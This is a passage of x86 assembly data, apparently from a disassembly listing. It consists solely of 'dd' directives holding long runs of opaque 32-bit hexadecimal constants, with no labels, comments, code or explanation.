		dd 736B5ECCh, 0FC880A6h, 14AB3Eh, 0BD631BF1h, 498FE967h
		dd 0A113B3F3h, 56CEA4Ch, 0C8CC53B2h, 592593Ch, 0EDF8410Eh
		dd 60536393h, 5D4EEEEDh, 2048D4B3h, 0A0555102h,	0EF905670h
		dd 22D02961h, 9FE85BECh, 24F0E9E1h, 2D075E2Eh, 3F027405h
		dd 9580F8F5h, 48B847CDh, 0C805A244h, 0B07BBA33h, 0E0955297h
		dd 66ACA75h, 0A5E93B5Eh, 0F8974989h, 0A87015F3h, 0E1FF143h
		dd 0F0481D03h, 207CE910h, 1F0B4B24h, 9D474C07h,	0A010746Bh
		dd 4FCC408h, 9C31F373h,	1168F0C2h, 580AA966h, 6DF30902h
		dd 80FD4CEBh, 235A831Fh, 0EAD12625h, 74730DDFh,	79423AA7h
		dd 57348BF3h, 4C4BCDF9h, 0A3BF329Eh, 96D54F0Ah,	0B17E5F14h
		dd 0E4167CB7h, 0E28661BBh, 5D1C95C1h, 58C5C5C9h, 0A36B65F1h
		dd 37ACD7FFh, 43FBE88Ah, 25E236B7h, 638A8E40h, 0D8158227h
		dd 0C4095C7Eh, 6918F348h, 4F86711h, 58D274Ah, 439123Fh
		dd 0EEAD9575h, 40ECEE9Dh, 9EC29146h, 0FA7A4850h, 7AFB1128h
		dd 6948B9B3h, 0EB368600h, 3BDDE92Ah, 0D92FBDBAh, 81A5DE5Bh
		dd 693D44C2h, 0EC823E37h, 30DDE9E7h, 0DB328920h, 0A8F10D06h
		dd 39507FFAh, 48C600D3h, 7A414C35h, 0C1892C3Eh,	1AD1278Ch
		dd 16B2D60h, 51A05F7h, 838B1DA1h, 0D049F89Bh, 62B204DFh
		dd 0D081C280h, 302BF003h, 0AE4EECB5h, 0CE3348h,	5F233868h
		dd 0B853EFD1h, 59A9406Fh, 5A54DC95h, 87E9FF30h,	0C7D59554h
		dd 712D2C0Fh, 42D16572h, 38808D19h, 833B6CE0h, 91804ADAh
		dd 2B4BD6F5h, 0AF49B8FAh, 411A8434h, 0D2F75D00h, 495A4068h
		dd 34B5030h, 8734088h, 0A27E6190h, 5F0BD025h, 1110621h
		dd 29806EB2h, 586F2C5Ah, 2E68BA40h, 9D322808h, 0F627AD5Bh
		dd 40955082h, 0F03E7C6h, 0C3C533D1h, 8DD9A606h,	0C1FD825Ah
		dd 0D551059Dh, 0B378A84h, 62575664h, 0AC183FFBh, 2DB980F9h
		dd 40E56F17h, 7BC106FBh, 0EAE66821h, 44585195h,	27C0AF4Ah
		dd 0B8E9E2D1h, 8B58B9E2h, 945D07CEh, 485726A9h,	6145931h
		dd 0F6AB3446h, 9939EE14h
		dd 65A96FDBh, 0E08F04D2h, 0A5A91332h, 0A5B7AC92h, 1CB6C1AEh
		dd 0A08BBD20h, 0F3664818h, 0AE164B84h, 0A4681720h, 0E22DCB7Dh
		dd 0C07E8C2Bh, 46C91E1Fh, 0C8078145h, 5C86306Bh, 0DD140BE9h
		dd 6506EB07h, 0D7B37534h, 813C5E23h, 0A815D65Dh, 99346D24h
		dd 0E0801A2Fh, 7B1663ABh, 0D1413532h, 0BE70EB22h, 486EB235h
		dd 0EA038456h, 6B616F0h, 40870C16h, 0D2EEF2A4h,	0F873643Ch
		dd 49602623h, 0ECC82996h, 26730C2Eh, 90FC5232h,	0BE59A082h
		dd 0F8FDE846h, 0DD62B76Bh, 94F1EC55h, 1D132410h, 61544B08h
		dd 4A9D7018h, 3BD85581h, 2C79142h, 1EF72C7Ah, 26E066E2h
		dd 0F91E295Bh, 6489CF87h, 5A099936h, 0F70B7AA5h, 0E9850BC7h
		dd 0B6D6172Bh, 0C71430AAh, 2A68CAF3h, 81D42549h, 3BA64284h
		dd 0F59B0004h, 189DA039h, 0E56E0148h, 123B7E9Dh, 0C1CAB297h
		dd 39416855h, 538BA92Ch, 2FA6145Dh, 0DF545D5Bh,	8FAB59E5h
		dd 8B414D1Fh, 834DE3Bh,	1C28F7DBh, 0BC214120h, 0C35645EDh
		dd 4A5061BEh, 0CFF20D73h, 29A8525Bh, 4060632h, 0AB7917C0h
		dd 0E9EAB009h, 556DA4EEh, 0C5F837EBh, 3F87F18Eh, 6E213821h
		dd 44BF1281h, 45A6708Ch, 0D384FFDCh, 9DCA1AEFh,	0C4BA5975h
		dd 79F21287h, 0D265ABD0h, 0E092BB75h, 60B5E229h, 2D7CE875h
		dd 0A8F07BD6h, 0F739B092h, 69D4DDDh, 706606BEh,	0CF97010Ch
		dd 0E3E9966Eh, 1FC1381Ch, 26DE6A19h, 0AEEBC28Bh, 0A4C5C925h
		dd 0DAFE5140h, 84B14FC9h, 0DAEFB22Fh, 0C9976118h, 2F8557CAh
		dd 5F0809E9h, 4DC25F5Ch, 18C64885h, 6AB0009h, 76F0D40h
		dd 409F72D7h, 9F79645h,	34BDE9D6h, 0FE032FFAh, 0D1733A11h
		dd 0EAB0FCE3h, 8BDB04FFh, 0BED80119h, 0EC4E9F9Bh, 0EDD2B47Bh
		dd 2FED789Ah, 0FFCC585Dh, 0C89D7FA4h, 0C0A263CFh, 479FEFEDh
		dd 0E09071C4h, 840BCC03h, 40DF0151h, 30E9081Ch,	0BA3224ECh
		dd 5A27688Fh, 9B247C20h, 4C0262CAh, 2D1FBDCEh, 9213401Eh
		dd 57522725h, 3F7D7FFAh, 6154652Fh, 0B06B29F2h,	5C013EEEh
		dd 0E94859BAh, 8D7AE4B1h, 0E8A1E713h, 1A682B1Fh, 5F5643BDh
		dd 5083B3BCh, 16C117B4h, 801087CEh, 0D1F627F1h,	4CB2E0Ah
		dd 2CC80ECBh, 2D3E6C93h, 99B4FB4Ah, 0E4D716F8h,	4F70FCEAh
		dd 5F016EF0h, 0B014E8FBh, 585BD831h, 64582568h,	4FD52CAh
		dd 879D35E8h, 0D040ABE6h, 5D62C768h, 0D298DC73h, 670AEE69h
		dd 0D59D0E8Dh, 0BA819486h, 0D184D0F6h, 5AA7CC2Eh, 54B06812h
		dd 3B1569FEh, 6E1F6161h, 7AA0A67Bh, 1086A12h, 0DE1DCEAh
		dd 0A1FCAC58h, 5DFEEB83h, 0A4831A14h, 9345548h,	7301265Eh
		dd 0B8FC0B68h, 7ABA57h,	2B3044BAh, 6850007Eh, 20C7752Fh
		dd 0D072F758h, 0F80D85Eh, 27DF8035h, 0E1608D1Ch, 72CCF329h
		dd 4B31C32Ch, 10D0F9F5h, 680A5FC6h, 6F8C1DB2h, 0D04613A4h
		dd 75600F7Fh, 55680A0Bh, 842F3304h, 0FF0B61B2h,	7F054F4Eh
		dd 0B8E34005h, 67186B57h, 11BA5202h, 5E63BB60h,	1C0124F2h
		dd 4235C4DEh, 0BCC7C669h, 282570A1h, 814A01D4h,	0C7120FF2h
		dd 3A8C027Ah, 0BFE9AE17h, 8CE2CD05h, 8570A030h,	148509C6h
		dd 140C3A4Eh, 622D68ABh, 3149E62Bh, 0C71BB160h,	0A0373F01h
		dd 31D04008h, 44BB5818h, 10E03317h, 0DD7755C0h,	5E6DCB2Eh
		dd 6809DCB6h, 51E47DF2h, 786372A0h, 44B812D2h, 0F468C4h
		dd 7B25E181h, 0F8437669h, 6C193A10h, 0BC88916h,	9ACE0D75h
		dd 0B58383h, 8666B18Fh,	0E92E4274h, 29980A65h, 0C5276D38h
		dd 0BE41438Fh, 3C6AA2D9h, 62DE986h, 0B7F1D289h,	7A9A6642h
		dd 85388FFFh, 5AEFF671h, 0B1400482h, 0C250276Bh, 0F02CD84h
		dd 4D33625Ch, 0C6124045h, 17EFF16h, 0A36F3A1h, 12E92C7Ah
		dd 56C08BE9h, 623268h, 815B7410h, 27580DCBh, 0F3015776h
		dd 77377A3Bh, 6A60DD89h, 3BB9B9F4h, 5F7C0B20h, 0CDA8828h
		dd 6BF6D724h, 0ACF25067h, 5FA055BEh, 8AE03F4h, 0CAF18726h
		dd 1AF0935h, 690604AAh,	0C00C826Ch, 60809AE7h, 6318CFh
		dd 0F6253AB0h, 51EB333h, 0EA2A6F0Fh, 2F7C4228h,	0F83D6039h
		dd 0D07782ADh, 0F2513085h, 5BD90910h, 0D641ABA1h, 0D1686600h
		dd 962F9D5Ah, 7C32F9B7h, 173C913Ch, 0DE0C5D3Bh,	79550F95h
		dd 0F6E89D5Eh, 59BF1851h, 0C626423Ah, 34ACC655h, 801021BBh
		dd 1D032D16h, 9D4EC27h,	570BFF6Eh, 12479B77h, 0AEE515C2h
		dd 2F972E2Dh, 0C2F96455h, 0CB74067Ah, 0F4EF5BC4h, 5B955897h
		dd 7E15BF3Fh, 0EA3E9136h, 136ADDEh, 34BF0B9Dh, 163F56E9h
		dd 82B6041Bh, 0EB30ABD8h, 0BFB23B3Fh, 2039B2E1h, 0C19D561Ch
		dd 3F74D37Fh, 38781E95h, 31C8B7Bh, 79426990h, 0DC18F42Dh
		dd 0BD626D2h, 9C5D53BDh, 0A84C95BFh, 93639404h,	7F0013Bh
		dd 830D90F1h, 0D2B0B70Bh, 2F156433h, 8FD6348Bh,	1C6557DAh
		dd 5F8A628Bh, 1434E5B0h, 64AED8D3h, 52BA01FBh, 72557D68h
		dd 97A90093h, 0FAE9AA82h, 0F034D618h, 0DA51F7FDh, 93112003h
		dd 0A4B0727Dh, 0E9066C93h, 0FB7DE0A9h, 0A80F70DCh, 12BEAA1h
		dd 360D5851h, 0FD14B32Ch, 0E94E3AE7h, 1B9E4CBh,	7009DA91h
		dd 0C0622D33h, 6CFDD380h, 942D0478h, 8013474Eh,	442AEABEh
		dd 1526D698h, 0BE40E196h, 0F6B3DCC4h, 98C74F55h, 0DE25680Eh
		dd 5A854632h, 8497F455h, 0EAC5B7D6h, 90320506h,	182E3137h
		dd 5559627h, 5681AABDh,	7F5F5768h, 665E0A3Ch, 514EFA50h
		dd 7612B22Ah, 5BF38839h, 43D0981h, 0E61D512Ch, 79159968h
		dd 54DD34FDh, 0B5334CBFh, 40B32E14h, 2B0BD95h, 0D210F3BAh
		dd 0F88AC335h, 4219362h, 0C90D3E2Dh, 5A88268h, 5CDA078Bh
		dd 0C16FAB33h, 3D3FD959h, 0EC0D8F8Ch, 0B806B60Ah, 0C6FED6F6h
		dd 16807408h, 4023E9FAh, 560D2D13h, 1245110h, 0D3023DF8h
		dd 4068D477h, 2C63793Bh, 28216AF4h, 4B76148Bh, 0FC20C543h
		dd 6DC26800h, 815E3DFBh, 726001E6h, 0EEC17614h,	77F64007h
		dd 5A00880Dh, 0BD5E5856h, 58EC2337h, 0C130DFD2h, 0EE80ADA3h
		dd 0CEFE8A1Bh, 6BE5F1A4h, 0CA24E076h, 0B65A125Ch, 9EE14A00h
		dd 0B972D87Eh, 85A5355Ah, 0AD0383DFh, 9B10AFF7h, 3034D2Bh
		dd 0D8D431F1h, 0A79E994h, 66097672h, 12D7E305h,	0FC0809C2h
		dd 81BCA59h, 7E278751h,	7468507Bh, 80A7585Dh, 5DD93EE6h
		dd 0B969850h, 0B6706D7h, 8F2C707Eh, 48052D3Ch, 3D0335EBh
		dd 0FA5D4F2Ch, 70628D4Fh, 6744A731h, 0ACBE3256h, 0BF904156h
		dd 131485CEh, 5C5159Fh,	577B6AD7h, 2B7004FAh, 0EBF3EFF4h
		dd 0F892D3Ah, 5012084h,	5211A668h, 0A750ED98h, 0EAC65995h
		dd 89E39DA5h, 18724C3Fh, 9D251A30h, 1591D0Dh, 0F005656Ch
		dd 306D1947h, 443EEB0Fh, 2F615CA1h, 2F1F7059h, 0E47CE831h
		dd 0BB571658h, 293804F1h, 205C0701h, 1A475709h,	0D37DADBCh
		dd 5CC502F1h, 21607726h, 57827E76h, 0A0830562h,	11E238B9h
		dd 7B0C078h, 84A5509h, 982AF814h, 0C0D43455h, 8021FA5Fh
		dd 0C525D779h, 417A63Bh, 1A41ACEh, 586009F1h, 37E75AE8h
		dd 0BC54A5DEh, 5EE6B4ECh, 0D0791916h, 0B755281h, 7AC5Ch
		dd 132002E2h, 81B4B5E9h, 34C52E5Dh, 4AF64081h, 7C525901h
		dd 0A55076Ah, 45E5669Bh, 5EFC9D52h, 9462E2E5h, 0C35F2905h
		dd 43A85496h, 82B7DE20h, 4A9FE6DCh, 0F5BB4251h,	1A497866h
		dd 0BBBE00AEh, 8170742Fh, 1C5709F6h, 13C014DEh,	0EA2D2EA9h
		dd 404FD42Ch, 187648Ah,	4B96F80h, 0DA89F0BEh, 0D790FF5Bh
		dd 2D151AF2h, 2B74D02Bh
		dd 0D44D4909h, 29687A18h, 0F9023051h, 0E94D5D3Dh, 7045E71h
		dd 3338EC80h, 0E6820EF4h, 38FECFC3h, 449ABA00h,	0BD550971h
		dd 0D7370058h, 64CD812Bh, 2F504763h, 442C0F93h,	0B208B6AFh
		dd 1F68055Bh, 0C103BC33h, 66B7727h, 5455C2F7h, 289CADEh
		dd 331336A8h, 0BAA43BE1h, 4607960Dh, 57F19E27h,	45601E58h
		dd 23215F6Dh, 0BCC953A7h, 5862315h, 0CE8899B1h,	63A90D81h
		dd 0F1AA306Ah, 0D7B40112h, 219718BCh, 1DFAEB65h, 8153F569h
		dd 1A2FF8CBh, 601601Dh,	0C0841004h, 0DDE125E9h,	0C8F7047Eh
		dd 1A2BE36Fh, 565C1B22h, 0EF66CCD1h, 5C2902BFh,	48AD5952h
		dd 37234083h, 810E7ACDh, 0B810AFE1h, 107DE90Ch,	7553C39h
		dd 250BD6A2h, 252926B3h, 4AF4D845h, 1932BE02h, 0E30E0B10h
		dd 49936862h, 80694FF4h, 817226F4h, 637C0CEEh, 0E0C4A66h
		dd 54797F05h, 9EADE94Eh, 0A770A94Ah, 8DCA8CA4h,	17EF680Ch
		dd 0D9DBA21h, 1F408B01h, 0C05F4505h, 1894F532h,	0CC02BF8h
		dd 8DC5035h, 0F9EF4F01h, 0DD778A43h, 0FE94D96h,	0C03BCC85h
		dd 0E9CD319Ch, 2B0CA5Dh, 2E2F75BEh, 3BE1F038h, 944B7A69h
		dd 334AF4A7h, 9280D238h, 6585F101h, 459FFFh, 6851575Bh
		dd 4BCB5AE4h, 4C15F61Dh, 0A81D78D9h, 0AAACD16Ah, 91A6FB05h
		dd 278CFA04h, 74C3F5BCh, 0F603DD68h, 49354DC2h,	5013C971h
		dd 258D058h, 0E95C1761h, 0ACA230D6h, 0AF536AFEh, 41196842h
		dd 80B8493Bh, 79BA1A0Dh, 8AB3E39Ch, 226B56B7h, 74EBF6A0h
		dd 0C02206C1h, 0C3E406E3h, 51660E8Fh, 0A117F2B5h, 4DE10268h
		dd 8A17BE44h, 46138590h, 0E46C1AAh, 43657E95h, 0FBD261A6h
		dd 873F478Dh, 8DC9246Eh, 74C6E132h, 0BD09BEDCh,	226581Bh
		dd 559B2E45h, 6B980EC6h, 0D7F93341h, 0DD2F6D22h, 1F02DCD6h
		dd 423AAD76h, 8E90826h,	0F0BEE909h, 9D9398C9h, 5D5E944Eh
		dd 680976CBh, 0D21B188Ch, 112885C3h, 0A170AD54h, 0EC565697h
		dd 5F29683Ch, 0B29FFD15h, 11105A26h, 23DA0D00h,	0DD2D5056h
		dd 2A8B0317h, 5E3E64F0h, 0A9F3B3h, 0D001C780h, 766866EFh
		dd 5386E9F3h, 4E207EE9h, 552D7190h, 0EC1C5E21h,	1827E9B5h
		dd 73065C45h, 79D161F1h, 19A10B50h, 0DDA0045Ah,	1D898BBAh
		dd 99C06EC5h, 5DE889CFh, 0D336C148h, 30319D4Bh,	0D713EB92h
		dd 0ABF430h, 77A80549h,	0D0454B1h, 6A827DA7h, 9204D4C1h
		dd 4EC20004h, 0F707513Bh, 0C0A0DD4Ah, 0B4B9DE9h, 0AF5EB49Fh
		dd 0A3FBB3C4h, 40E985FAh, 0C101E490h, 0F2BF0557h, 8526E277h
		dd 0BE1A94D8h, 8A0C349Eh, 1DE1012Fh, 4CB97009h,	0D482FD5Ah
		dd 4CDD05F7h, 0E529A085h, 6A2F1762h, 14988429h,	6F846308h
		dd 8457F2FAh, 0BF12BEA4h, 0F1EA0064h, 73ED3E90h, 57BE92A4h
		dd 0C7DFEBA9h, 48B9A902h, 7C7D10EFh, 0ACC75Fh, 29165839h
		dd 3149064Fh, 8641E4D2h, 0C49077E2h, 262F685Dh,	7286765Fh
		dd 1E73607Dh, 4510CC8Eh, 739F7EF2h, 10FB1A65h, 80823A55h
		dd 0F4373018h, 12D6A048h, 280A0B43h, 0E18BD7F7h, 6C75E7C2h
		dd 2A722078h, 8CCC5C5Fh, 50CEFA56h, 5F29DD0Ah, 0C176B2CFh
		dd 9637E9FAh, 48390A69h, 2E35D881h, 3F3ED905h, 0B76AB9C1h
		dd 3BB3E57Bh, 82E444F9h, 550901B4h, 1E2F3E82h, 7DC21E48h
		dd 51D7E212h, 0FF4E24FFh, 2BDACFC4h, 957F1D58h,	7D5CA332h
		dd 5ED922AFh, 20906CA0h, 0BB006E70h, 12783E93h,	0B05BDE29h
		dd 7629D6Dh, 0F69CA1FEh, 40AF54C4h, 0DE75C0EBh,	5C1EA539h
		dd 0C00908BBh, 64A2F77Eh, 0B900B53Fh, 5CA3180Ch, 3A063D63h
		dd 0C515A24h, 21446212h, 0EE9B12AEh, 0B4E06689h, 0D8B6A9ABh
		dd 8262A6FCh, 0D3024E5Eh, 8937952Dh, 9554709Ah,	846FDB74h
		dd 299774ACh, 7FA49E65h, 5F750FF1h, 0F642C11h, 3ED8EE68h
		dd 3F728419h, 8920B081h, 0BEF8F2F6h, 1DBF0139h,	0E305993Eh
		dd 4C2F19A8h, 0E9E3D106h, 0B7227A0Bh, 7123A0C0h, 89E85E5Ah
		dd 21034648h, 31149928h, 0E6D15DC8h, 0EDF0E917h, 6312C9A9h
		dd 576888AAh, 1E226805h, 0ADA26E16h, 92F7879Dh,	0E929A12Ah
		dd 301E6801h, 11BA7A50h, 4B147C5Ch, 0FF4CC515h,	69F8CADDh
		dd 0C4F99FEBh, 0F5D45247h, 7C835FE0h, 0C2EF9CEDh, 0B5081892h
		dd 0B02ECC28h, 52897256h, 0C0BFFE54h, 0D83FF9B8h, 20464D48h
		dd 0EE8012B1h, 0DE86ACDFh, 0A91F64Eh, 7E4F1FF4h, 50E99003h
		dd 0C03801F5h, 0A92C03E0h, 61456134h, 0E55E30F9h, 30E706C0h
		dd 722C5BFEh, 0B8CD4EEFh, 0E0E574F9h, 484ADCE9h, 18535898h
		dd 0D50F1E68h, 928310A6h, 0A70F51EEh, 0E9E73E51h, 2F85D4A9h
		dd 0A9F20D5Ah, 0AA88954Fh, 55651797h, 0D941FA1Ch, 5FD70F08h
		dd 1F4C9F74h, 3DD468C9h, 2F80D054h, 15DE56F2h, 2C7B3C88h
		dd 29D56B21h, 4B16D505h, 0B7E2EB0h, 8E8D1E9Dh, 9C8D24E0h
		dd 0AB5E93A2h, 0D38274D4h, 28F9F20Ch, 3806DCD6h, 0FE4A3428h
		dd 52C2C967h, 0BEB3712Ch, 93E4F75Ah, 0A6FD991h,	3027EE14h
		dd 0C86B6A03h, 544AE9D1h, 73E4894Fh, 30E8C6BDh,	883962E5h
		dd 28E23BECh, 66259659h, 0C25BDE5Ah, 6801E765h,	0F3884270h
		dd 79275D71h, 4FC94F9Fh, 7FBE42C1h, 0B8E1DC24h,	77D955F5h
		dd 9E10B84Eh, 0F8532518h, 567C6F76h, 1806A186h,	42275E76h
		dd 21D14826h, 1A3C2E53h, 90131319h, 22D1FD04h, 4B87C55Ch
		dd 0A5273DBFh, 1B1EFD0Ch, 58201998h, 0BD54E40Eh, 0B3AC8873h
		dd 165AEB70h, 6406802Ch, 0EC7ED4EEh, 5635F28Eh,	0AF8B1ED9h
		dd 2B70205Ch, 8835BE8Ah, 0DE2F6F3Eh, 52FC09D4h,	0AA3F7D51h
		dd 0BE079FE6h, 47FD061Eh, 9CFCF1A5h, 0EFE38913h, 0F2969179h
		dd 0E86C53E6h, 0EEE2A73Ah, 9661C8E2h, 0AC754F17h, 5602311Dh
		dd 47D1445Dh, 9BC23007h, 0E130E9D6h, 61ED6D5Ch,	553F0951h
		dd 4E01F501h, 80BB03B0h, 4E08EA1Ch, 55E9469Ch, 0D641EE84h
		dd 0FF05A773h, 0B41C8B8Eh, 491271Eh, 3B2165D3h,	0E913788Fh
		dd 2C0945C5h, 0ECB88EBh, 26684940h, 0CFE8239Ch,	0CC3225C5h
		dd 81004F8Dh, 0E29CB5EFh, 0B7FD8933h, 2E5FED99h, 0BBC06CECh
		dd 5DE31A77h, 81DBF700h, 0C8C7EF3h, 7DE925BEh, 3E5513E1h
		dd 0E4A650EDh, 0D5D20F30h, 301A71F1h, 14E0037Eh, 209FE10h
		dd 0D3B459E9h, 38ADBD88h, 5FFEC3C8h, 2D5A65B5h,	0E9C2F9F4h
		dd 565A7406h, 0BA5F12A2h, 0E7CD8551h, 0DB68C461h, 0C9F20E04h
		dd 0A480D00Bh, 5B508BC2h, 0D4F85A51h, 0BA122B51h, 0CEEAD101h
		dd 798F3518h, 0E12B23C9h, 4BE8621Ch, 38B81F9h, 3BF48DC2h
		dd 0C1538496h, 0DDE810Fh, 596E40BBh, 0AFB616h, 2C7991BFh
		dd 3AFB713Ch, 36C7230Bh, 2F67F50Eh, 0C12157A6h,	23A434E9h
		dd 51A44B06h, 0FD251E30h, 510B223Eh, 50F9477h, 51B55DDFh
		dd 48744E80h, 0EE81467Eh, 10D7062h, 7A32FDF1h, 68CF9977h
		dd 0B72E5FF5h, 0DFE9099Ch, 0CF095937h, 8A92EC9h, 76E41075h
		dd 215F8174h, 6131CD59h, 13907C6Ah, 31BF6C79h, 0A0D5FD64h
		dd 72FBA10h, 8D971134h,	105998A6h, 5256006Dh, 98329668h
		dd 0C65A5042h, 4129389Bh, 0D32099DCh, 25516812h, 0C904D2B3h
		dd 0EB6D8D42h, 48C7D10h, 65228F68h, 5A56BBh, 45C82F38h
		dd 0FCB1C9E9h, 180FBD28h, 8B436253h, 4E5458ECh,	5A5EA359h
		dd 0FEF5E0BCh, 0E8051685h, 0C8BEEED3h, 0D7265111h, 0FEAFE96Ah
		dd 3576D293h, 35539DE0h, 8818477h, 7C27D95Fh, 0B652096Bh
		dd 893E078Eh, 287BC630h, 345A2CF0h, 1B15048Bh, 0EEBDA401h
		dd 82033E5Dh, 0F4397368h
		dd 3B2D62C7h, 92657FD6h, 5D31C349h, 0FBFC60CCh,	0DA15213h
		dd 7DC01901h, 0C9F03668h, 62200274h, 0FA29E96Dh, 0CF004E52h
		dd 190926E7h, 0FE08EFC1h, 88F05AA8h, 0F80329E6h, 5F529A05h
		dd 82EF954Fh, 5E011E23h, 6320B850h, 0D090012h, 30D071FEh
		dd 60CE8C1h, 28CFDDE9h,	972DE5Bh, 57E8EE82h, 6C5E27AFh
		dd 82DE6BCh, 2013DD7Ah,	2204723Dh, 13F8E02Ch, 56355FC4h
		dd 12C56308h, 598AF5Dh,	50A8592Bh, 169AC0Ch, 560EBD6h
		dd 47349FA8h, 4E9EDE02h, 0F7070E0Dh, 400BF754h,	80E91F93h
		dd 0BD0E1296h, 8A3C466h, 4E547CFCh, 22C85E21h, 0CD6BAE08h
		dd 3EE2D9A9h, 0E7D62EADh, 11B24ED5h, 3A4EC1C0h,	985A6876h
		dd 85D8A44h, 0EE225A0Ah, 3650D869h, 0ED00C290h,	27E55A4Bh
		dd 9777F2E9h, 7909EE7Bh, 0E2347637h, 0EEC8115Ch, 0C0123E58h
		dd 0F2ED0129h, 0AA55907Fh, 18145DFFh, 7EE95409h, 69CC5EC3h
		dd 4CCA8210h, 5A49637Bh, 54E98246h, 11036869h, 25DFC51Eh
		dd 0A2BF34Dh, 0BE1A425Bh, 48C4DB39h, 0EF4AA6E8h, 18830829h
		dd 43357708h, 0EA50B878h, 0E9275E08h, 68F7406Bh, 6A3E3D0Fh
		dd 1763BCCAh, 0CFE963C8h, 0E00C8504h, 0E282E45Ah, 265F2A40h
		dd 8028CF29h, 9DD635DBh, 0AF93FE89h, 2B01FA4h, 901522E9h
		dd 485870E2h, 0B9FDEEBh, 1418F0ABh, 2216B52Dh, 0F9B1C80Fh
		dd 17D6FD60h, 0EB5E3651h, 55689220h, 9380946Ah,	0DCE14906h
		dd 0C45A82DFh, 0C868C2A2h, 78DE3186h, 0EE1B2F5Bh, 0F368725Eh
		dd 99387D27h, 194EA4E9h, 2CD96A42h, 0FFBBC25Ah,	522DAA60h
		dd 0C5862E97h, 81004AC6h, 0F40B0C9h, 4149262Bh,	679A0B2Ah
		dd 9222FC56h, 65184AE6h, 9D5603D8h, 133E260Dh, 0C15F0B16h
		dd 0D060238Fh, 88102D40h, 0D6395028h, 85061B13h, 0E6C2070Ah
		dd 65BD0820h, 4D58AA03h, 0E64FA76Ch, 12259615h,	10138BAEh
		dd 0C0488BABh, 3CF4F620h, 8C773A5Fh, 44FA6B2h, 9093AB51h
		dd 66F2C874h, 5BDA0035h, 6C0D121Ah, 2C038F02h, 7440A805h
		dd 6D13FF62h, 9F2DA8B3h, 0BDD0273Ah, 0E56EC042h, 0E8CAAEBDh
		dd 6BA0E09h, 2DC0E2AEh,	25310E70h, 0A9A4295h, 0F5425007h
		dd 2AF39BC2h, 0B0F45BB7h, 1FE309B0h, 5B567A3Fh,	38CB8100h
		dd 986BFE53h, 0BF9D09A8h, 8D843507h, 0AD07CDFBh, 0A8C6C55Eh
		dd 0A94A2018h, 76EBA00h, 0D631221Ah, 0BC40955Ah, 2B0D901h
		dd 0B6F32624h, 5D3BFE8Bh, 0B29C3714h, 6A36BF07h, 75297862h
		dd 7BCD3979h, 0E9F2807Fh, 0C697A905h, 7459BD75h, 68E123C8h
		dd 322B0B7Dh, 6EEA4A13h, 4A6C5175h, 0EAF02D09h,	306BB40Eh
		dd 84EAD2E6h, 11DAC241h, 0B3ED0D61h, 0E548502Dh, 28359D04h
		dd 41AC53F0h, 8E052BF8h, 13BEEA83h, 0A1D6B891h,	0B900DFC9h
		dd 0ED252762h, 0A4C208E5h, 16F5280Eh, 4F048AAEh, 8589FCEDh
		dd 0ED83B9C0h, 0EA31011Ch, 0C517D59Fh, 84E31522h, 4081B5B8h
		dd 0F20473Dh, 98142695h, 51E200E8h, 0E93B4533h,	3F2E782Eh
		dd 0F35EF589h, 0A1D81293h, 0D8E72D59h, 70EA6895h, 757E9F13h
		dd 0BD3E5759h, 0E82812A9h, 0DAD49A5h, 53029C90h, 67E0E917h
		dd 939129BBh, 0A9164B32h, 0A3BF0EABh, 0AF85937Dh, 1077AE5Dh
		dd 7E6E68B1h, 0B685C63Ch, 29D8FA33h, 0C6082702h, 0E9124FC4h
		dd 165297BEh, 74B30717h, 0F0656100h, 0EAD6E969h, 50021BAh
		dd 816F251Fh, 253D2DF3h, 4ADE7BB9h, 0B1EF7689h,	0A67B1423h
		dd 165D48ABh, 0C861011Ch, 652F50F4h, 508AAF40h,	0AA525518h
		dd 88AC28Ch, 0BA807393h, 1FF854EBh, 1B0E07BFh, 39310FD7h
		dd 76E20CDEh, 124EF16Ch, 10C0BA5Dh, 0B0B4033Eh,	0ABC20B7h
		dd 9028F24h, 8EEFDE12h,	0F7BD5EAEh, 0FCF4E9C2h,	0CDE229C8h
		dd 7E957713h, 0F7CC7CFCh, 0F3A05A06h, 0DCB9E5CFh, 0ED913113h
		dd 0E82FC630h, 99BEE57Ah, 0B93520F1h, 0B6FA489Dh, 1D1A92ECh
		dd 0E2248BEh, 5EEFF531h, 84880637h, 0C51F0A4Bh,	21C699DFh
		dd 0E8125DEAh, 7B497EB1h, 0FED39252h, 7D254F7h,	62D29D5Ah
		dd 3433D430h, 0FA42A4E5h, 0D155C64Dh, 0F5180A2Bh, 0BD156741h
		dd 1A0BC757h, 84F7FB68h, 6EED4D28h, 0F1D35A76h,	0B32C6B66h
		dd 9F5D412Eh, 0BF49C56Ch, 58315E31h, 5E5B4FE0h,	1309E0D3h
		dd 0F9E37F64h, 0CA20C440h, 5EA813E4h, 799741A4h, 2146B975h
		dd 0B6F1F4F9h, 953CBD9Bh, 13822FCh, 3DED6853h, 0F63878D5h
		dd 2A131139h, 6F5FA187h, 77212080h, 20BCB81Ch, 2D04DD59h
		dd 235E31Dh, 61932487h,	7074765Bh, 0FC135D68h, 0E9130F90h
		dd 4F1AB81Dh, 38F329AAh, 0E3BFE408h, 2A0712ACh,	6D070CB9h
		dd 0B3226241h, 1602280Eh, 0CD46D768h, 0F15CE01Eh, 956432B1h
		dd 0D47C20B6h, 4703B801h, 58707AE0h, 56550289h,	12F6E965h
		dd 756B6854h, 0D2B4EE9Eh, 5A2AE978h, 59D3F70Dh,	52F85BCEh
		dd 3AB599E4h, 8110888Bh, 74E1076Ch, 0E9E21EFFh,	5CACA475h
		dd 74752A4h, 0D8518624h, 6857302Dh, 11500D16h, 0A5ED48Bh
		dd 5E76639h, 0A23F10C6h, 2845B350h, 5A4F0B35h, 0E7A53585h
		dd 2A1D30h, 2D658440h, 3CB523FAh, 7242968h, 0C612F72Ch
		dd 68652CFBh, 0C6032527h, 0B813278Ch, 7CE5B820h, 811A1E45h
		dd 540DE1EFh, 14DD2743h, 80035AB8h, 7BF0BE7Eh, 0BD588B01h
		dd 69293DB2h, 0EB5E1130h, 8926B83Fh, 26F77481h,	13A548D2h
		dd 1E8FC78h, 0D91B33BFh, 0C47B4F5Dh, 24FCF0DBh,	3C792C05h
		dd 0ECE9BAE9h, 41BEEB02h, 0E077600Ch, 1E2B74FBh, 25E905F3h
		dd 112D43D4h, 0B2351D57h, 0C398E36Eh, 5E5ED0E9h, 2F53EC16h
		dd 16A75C01h, 3B00E151h, 0E4A597A9h, 164C529Dh,	70C6853Ch
		dd 8B9687B8h, 80532EA1h, 0E788A200h, 9EF7C1E9h,	0F6C588FEh
		dd 0E6BAE025h, 76587528h, 59CB80Ah, 0E9A7C17Fh,	25B1E8D1h
